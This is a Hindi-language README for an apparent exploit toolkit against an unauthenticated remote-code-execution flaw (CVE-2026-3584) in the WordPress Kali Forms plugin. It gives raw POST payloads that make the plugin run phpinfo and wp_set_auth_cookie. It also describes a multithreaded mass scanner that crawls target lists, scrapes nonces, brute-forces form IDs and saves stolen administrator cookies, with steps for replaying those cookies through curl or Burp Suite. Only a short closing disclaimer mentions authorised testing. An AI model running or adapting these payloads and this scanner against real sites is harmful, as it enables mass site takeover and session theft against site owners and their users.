
CVE-2026-3584
🔥 भेद्यता का सारांश
WordPress प्लगइन Kali Forms संस्करण <= 2.4.9 में एक गंभीर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन (RCE) भेद्यता मौजूद है। यह दोष बिना प्रमाणीकरण के हमलावरों को सर्वर पर मनमाना PHP कोड निष्पादित करने और पूर्ण व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति देता है, जो सार्वजनिक रूप से उजागर AJAX एंडपॉइंट kaliforms_form_process के माध्यम से होता है, जिसमें प्राधिकरण जांच नहीं है।
भेद्यता form_process फ़ंक्शन में निहित है जो उपयोगकर्ता-नियंत्रित पैरामीटर (जिसमें thisPermalink और entryCounter शामिल हैं) स्वीकार करता है और मनमाना PHP कॉलबैक निष्पादित करता है, जिसके परिणामस्वरूप:
phpinfo(), system(), eval() आदि के माध्यम सेwp_set_auth_cookie() के माध्यम से व्यवस्थापक सत्र प्राप्त करने के लिएभेद्यता Kali Forms प्लगइन के form_process फ़ंक्शन में प्रकट होती है जो AJAX अनुरोधों को संभालता है। भेद्य कोड इस प्रकार उजागर होता है:
// बिना प्रमाणीकरण के सुलभ AJAX एंडपॉइंट
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
एक्सप्लॉइट प्रवाह:
असुरक्षित एंडपॉइंट: एंडपॉइंट /wp-admin/admin-ajax.php?action=kaliforms_form_process wp_ajax_nopriv_ हुक के माध्यम से बिना प्रमाणीकरण के उपयोगकर्ताओं के लिए सुलभ है।
उपयोगकर्ता-नियंत्रित पैरामीटर:
data[thisPermalink] - इसमें मनमाना PHP फ़ंक्शन नाम हो सकता हैdata[entryCounter] - इसमें मनमाना PHP फ़ंक्शन नाम हो सकता हैdata[formId] - प्रक्रिया करने के लिए फ़ॉर्म का IDबिना फ़िल्टर के कॉलबैक निष्पादन: भेद्य कोड बिना सत्यापन के PHP कॉलबैक निष्पादित करता है:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // कोई जांच नहीं!
एक्सप्लॉइट श्रृंखला:
हमलावर → POST अनुरोध → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP कोड निष्पादन → phpinfo() निष्पादित
↓
entryCounter=wp_set_auth_cookie → व्यवस्थापक कुकी उत्पन्न
↓
पूर्ण व्यवस्थापक पहुंच
भेद्य अनुरोध का उदाहरण:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
परिणाम: सर्वर phpinfo() निष्पादित करता है और PHP कॉन्फ़िगरेशन के बारे में पूरी जानकारी लौटाता है।
विशेषाधिकार वृद्धि के लिए:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
परिणाम: WordPress wp_set_auth_cookie(user_id) निष्पादित करता है जहां user_id अक्सर formId से मेल खाता है, जिससे वैध व्यवस्थापक सत्र कुकी उत्पन्न होती है।
mass_scanner.py CVE-2026-3584 भेद्यता के पूर्ण शोषण के लिए 4-चरणीय स्वचालित पाइपलाइन लागू करता है:
┌─────────────────────────────────────────────────────────────────────────┐
│ मास स्कैनर पाइपलाइन │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ चरण 1: REST API पुनर्ज्ञान │
│ ├─ उपयोगकर्ता एनुमरेट करें: /wp-json/wp/v2/users │
│ └─ पोस्ट एनुमरेट करें: /wp-json/wp/v2/posts │
│ → विशेषाधिकार वृद्धि के लिए user_id और post_id पहचानें │
│ │
│ चरण 2: फ़ॉर्म खोज │
│ ├─ साइट क्रॉल करें (depth=2) │
│ ├─ पैटर्न खोजें: 'KaliFormsObject', 'kaliforms' │
│ ├─ JavaScript से nonce निकालें │
│ └─ HTML से formId निकालें │
│ → सभी भेद्य Kali Forms फ़ॉर्म खोजें │
│ │
│ चरण 3: RCE परीक्षण │
│ ├─ भेजें: data[thisPermalink]=phpinfo │
│ ├─ जांचें: प्रतिक्रिया में 'PHP Version' │
│ └─ सहेजें: result/target_phpinfo.html │
│ → दूरस्थ कोड निष्पादन की पुष्टि │
│ │
│ चरण 4: विशेषाधिकार वृद्धि │
│ ├─ भेजें: data[entryCounter]=wp_set_auth_cookie │
│ ├─ निकालें: wordpress_logged_in + wordpress_sec कुकी │
│ ├─ जांचें: /wp-admin/ तक पहुंच बिना रीडायरेक्ट के │
│ └─ सहेजें: result_cookie/target.txt │
│ → पूर्ण व्यवस्थापक पहुंच प्राप्त करें │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1. स्वचालित URL सामान्यीकरण
def normalize_url(self, target):
# स्वचालित रूप से http:// या https:// जोड़ता है
# पहले HTTPS आज़माता है, फिर HTTP पर वापस आता है
# कस्टम पोर्ट संभालता है (जैसे :8080)
2. REST API एनुमरेशन
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# सभी उपलब्ध user_id निकालता है
# formId → user_id मैप करने के लिए उपयोग किया जाता है
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# सभी उपलब्ध post_id निकालता है
# user_id/post_id ओवरलैप पहचानता है
3. फ़ॉर्म खोज (बुद्धिमान क्रॉलिंग)
def discover_pages(self, target, max_depth=2):
# साइट का पुनरावर्ती क्रॉल
# JavaScript पैटर्न खोजें: 'KaliFormsObject'
# अनावश्यक URL फ़िल्टर करें (js, css, चित्र)
# केवल आंतरिक लिंक का अनुसरण करें
# Kali Forms वाले पृष्ठों की सूची लौटाता है
4. फ़ॉर्म डेटा निष्कर्षण
def extract_form_data(self, page_url):
# JavaScript से nonce निकालें:
# KaliFormsObject = { ajax_nonce: "abc123" }
# HTML से formId निकालें:
# data-id="1" या [kaliform id="1"]
# यदि nonce मिला लेकिन formId नहीं:
# ID 1-10 का ब्रूट फ़ोर्स
5. RCE परीक्षण
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# पेलोड: data[thisPermalink]=phpinfo
# जांचें: len(response) > 10000 और 'PHP Version' मौजूद
# विश्लेषण के लिए पूर्ण HTML सहेजें
6. विशेषाधिकार वृद्धि परीक्षण
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# बुद्धिमान रणनीति:
# 1. user_id/post_id ओवरलैप खोजें
# 2. पहले उच्च सफलता संभावना वाले ID का परीक्षण करें
# 3. सामान्य ID पर वापस जाएं: 1,2,3,4,5
# प्रत्येक उम्मीदवार formId के लिए:
# POST data[entryCounter]=wp_set_auth_cookie
# कुकी निकालें: wordpress_logged_in + wordpress_sec
# जांचें: GET /wp-admin/ → कोई रीडायरेक्ट नहीं
# जांचें: 'dashboard' प्रतिक्रिया में
7. मल्टी-थ्रेडिंग
# समानांतर प्रसंस्करण के लिए ThreadPoolExecutor
# परिणाम लेखन के लिए थ्रेड-सुरक्षित लॉक
# रीयल-टाइम सेविंग (append mode)
# सिंक के साथ वैश्विक आँकड़े
8. स्वचालित बैकअप सिस्टम
def backup_previous_results(self):
# प्रत्येक स्कैन से पहले:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# सभी ऐतिहासिक डेटा संरक्षित करता है
pip3 install requests beautifulsoup4
एक targets.txt फ़ाइल बनाएं जिसमें प्रति पंक्ति एक लक्ष्य हो (http/https वैकल्पिक):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# डिफ़ॉल्ट सेटिंग्स के साथ स्कैन (20 थ्रेड)
python3 mass_scanner.py targets.txt
# कस्टम थ्रेड के साथ स्कैन
python3 mass_scanner.py -t 10 targets.txt
# अधिकतम थ्रेड के साथ स्कैन
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
मास स्कैनर - CVE-2026-3584 पूर्ण पाइपलाइन
======================================================================
लक्ष्य: 100
थ्रेड: 20
पाइपलाइन: पुनर्ज्ञान → फ़ॉर्म खोज → RCE → विशेषाधिकार वृद्धि
======================================================================
[*] पिछले परिणाम सहेजे गए: result_phpinfo.txt.20260325_120000.backup
[04:38:28] [INFO] https://target1.com: स्कैन शुरू...
[04:38:28] [INFO] https://target1.com: चरण 1: REST API एनुमरेशन...
[04:38:29] [INFO] https://target1.com: API के माध्यम से 3 उपयोगकर्ता मिले
[04:38:29] [INFO] https://target1.com: API के माध्यम से 5 पोस्ट मिले
[04:38:29] [INFO] https://target1.com: चरण 2: फ़ॉर्म खोज...
[04:38:31] [INFO] https://target1.com: फ़ॉर्म वाले 8 पृष्ठ मिले
[04:38:31] [INFO] https://target1.com: चरण 3: RCE परीक्षण...
[04:38:31] [INFO] https://target1.com: nonce 46aedbd3 के साथ फ़ॉर्म [1, 2, 3] का परीक्षण...
[04:38:32] [SUCCESS] https://target1.com: फ़ॉर्म 1 पर RCE सफल!
[04:38:32] [INFO] https://target1.com: phpinfo result/target1.com_form1_phpinfo.html में सहेजा गया
[04:38:32] [INFO] https://target1.com: चरण 4: विशेषाधिकार वृद्धि परीक्षण...
[04:38:33] [CRITICAL] https://target1.com: formId=1 के साथ विशेषाधिकार वृद्धि सफल!
[04:38:33] [INFO] https://target1.com: कुकी result_cookie/target1.com.txt में सहेजी गई
[04:38:35] [INFO] https://target2.com: स्कैन शुरू...
[04:38:36] [INFO] https://target2.com: चरण 1: REST API एनुमरेशन...
[04:38:37] [WARN] https://target2.com: कोई Kali Forms नहीं मिला
...
======================================================================
स्कैन आँकड़े
======================================================================
कुल लक्ष्य: 100
स्कैन किए गए: 100
भेद्य: 45
- केवल RCE: 10
- विशेषाधिकार वृद्धि (CVSS10): 35
असफल: 55
======================================================================
परिणाम सहेजे गए:
- result_phpinfo.txt (RCE सफल)
- result_yes_all.txt (RCE + विशेषाधिकार वृद्धि)
- result/*.html (phpinfo आउटपुट)
- result_cookie/*.txt (व्यवस्थापक कुकी वाले HTTP अनुरोध)
======================================================================
/root/
├── result_phpinfo.txt # पुष्ट RCE वाले लक्ष्यों की सूची
├── result_yes_all.txt # पूर्ण व्यवस्थापक पहुंच वाले लक्ष्यों की सूची
├── result/ # विस्तृत phpinfo HTML फ़ाइलें
│ ├── target1.com_form1_phpinfo.html
│ ├── target2.org_form2_phpinfo.html
│ └── ...
└── result_cookie/ # व्यवस्थापक कुकी वाले HTTP अनुरोध
├── target1.com.txt
├── target2.org.txt
└── ...
https://target1.com | फ़ॉर्म: https://target1.com/contact | फ़ॉर्म ID: 1 | Nonce: 46aedbd358 | फ़ाइल: result/target1.com_form1_phpinfo.html
https://target2.org | फ़ॉर्म: https://target2.org/form | फ़ॉर्म ID: 2 | Nonce: abc123def4 | फ़ाइल: result/target2.org_form2_phpinfo.html
======================================================================
लक्ष्य: https://target1.com
टाइमस्टैम्प: 2026-03-25T04:38:33.123456
======================================================================
RCE: सफल
फ़ॉर्म URL: https://target1.com/contact
फ़ॉर्म ID: 1
Nonce: 46aedbd358
phpinfo: result/target1.com_form1_phpinfo.html
विशेषाधिकार वृद्धि: सफल (CVSS 10.0)
एक्सप्लॉइट formId: 1
कुकी: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
कुकी फ़ाइल: result_cookie/target1.com.txt
प्रभाव: पूर्ण व्यवस्थापक पहुंच
शोषण आदेश:
RCE परीक्षण:
python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358
विशेषाधिकार वृद्धि:
python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358
======================================================================
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
यह प्रारूप सीधे Burp Suite Repeater में कॉपी-पेस्ट करने या curl के साथ उपयोग करने के लिए तैयार है।
विधि 1: curl के साथ परीक्षण
# फ़ाइल से कुकी निकालें
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')
# व्यवस्थापक पहुंच का परीक्षण करें
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard
# यदि आउटपुट में "Dashboard" है → कुकी काम कर रही है!
विधि 2: Burp Suite में उपयोग
# चरण 1: स्वचालित कॉन्फ़िगरेशन उत्पन्न करें (वैकल्पिक)
./burp_config_gen.sh result_cookie/target.com.txt
# चरण 2: Burp Suite → Proxy → Options → Match and Replace → Add
# चरण 3: कॉन्फ़िगरेशन:
Type: Request header
Match: ^Cookie:.*$
Replace: Cookie: [फ़ाइल से कुकी पेस्ट करें]
☑ Regex match
# चरण 4: नियम सक्षम करें (checkbox)
# चरण 5: https://target.com/wp-admin/ पर नेविगेट करें
# परिणाम: तत्काल व्यवस्थापक पहुंच
स्कैन के दौरान, आप रीयल-टाइम में परिणामों की निगरानी कर सकते हैं:
# टर्मिनल 1: स्कैनर चलाएं
python3 mass_scanner.py targets.txt
# टर्मिनल 2: RCE परिणामों की निगरानी करें
watch -n 2 'tail -20 result_phpinfo.txt'
# टर्मिनल 3: विशेषाधिकार वृद्धि की निगरानी करें
watch -n 2 'tail -20 result_yes_all.txt'
# टर्मिनल 4: भेद्य लक्ष्यों की गणना करें
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | व्यवस्थापक: $(grep -c "विशेषाधिकार वृद्धि: सफल" result_yes_all.txt)"'
प्रत्येक नए स्कैन से पहले, स्कैनर स्वचालित रूप से पिछले परिणामों का बैकअप लेता है:
स्कैन 1: [12:00]
result_phpinfo.txt
result_yes_all.txt
result/
result_cookie/
स्कैन 2: [13:00] - स्वचालित बैकअप!
[*] पिछले परिणाम सहेजे गए: result_phpinfo.txt.20260325_120000.backup
[*] पिछले परिणाम सहेजे गए: result_yes_all.txt.20260325_120000.backup
[*] पिछली phpinfo फ़ाइलें सहेजी गईं: result.20260325_120000.backup/
[*] पिछली कुकी फ़ाइलें सहेजी गईं: result_cookie.20260325_120000.backup/
सभी पिछला डेटा टाइमस्टैम्प के साथ संरक्षित है!
अनुशंसित थ्रेड गणना:
# तेज़ नेटवर्क, कई लक्ष्य
python3 mass_scanner.py -t 50 targets.txt
# मध्यम नेटवर्क, मध्यम लक्ष्य
python3 mass_scanner.py -t 20 targets.txt # (डिफ़ॉल्ट)
# धीमा नेटवर्क या कम लक्ष्य
python3 mass_scanner.py -t 10 targets.txt
# एकल परीक्षण (डीबग)
python3 mass_scanner.py -t 1 targets.txt
अपेक्षित प्रदर्शन:
समस्या: कोई भेद्य लक्ष्य नहीं मिला
# मैन्युअल रूप से जांचें कि साइट में Kali Forms है
curl -s https://target.com | grep -i "kaliforms"
# यदि मिला, तो मैन्युअल रूप से nonce निकालें
curl -s https://target.com | grep -i "KaliFormsObject"
समस्या: बार-बार टाइमआउट
# थ्रेड की संख्या कम करें
python3 mass_scanner.py -t 5 targets.txt
# या कोड में टाइमआउट बढ़ाएं (timeout=10 → timeout=30)
समस्या: कुकी काम नहीं कर रही
# कुकी की वैधता जांचें
python3 test_burp_persistent.sh http://target.com
# यदि विफल, तो इसके साथ नई कुकी उत्पन्न करें:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]
⚠️ महत्वपूर्ण:
ये जानकारी और उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किए गए हैं।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच या उपयोग अवैध और अनैतिक है।
इस रिपॉजिटरी के लेखक और योगदानकर्ता इन उपकरणों के किसी भी दुरुपयोग या हुए नुकसान के लिए जिम्मेदार नहीं हैं। उपयोगकर्ता किसी भी सिस्टम का परीक्षण करने से पहले उचित प्राधिकरण प्राप्त करना सुनिश्चित करने के लिए जिम्मेदार हैं।
जिम्मेदारी से उपयोग करें और केवल स्पष्ट लिखित प्राधिकरण के साथ।
CVE और सलाहकार:
भेद्य प्लगइन:
CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 गंभीर
सुरक्षा अनुसंधान | जिम्मेदार शोषण | साइबर सुरक्षा शिक्षा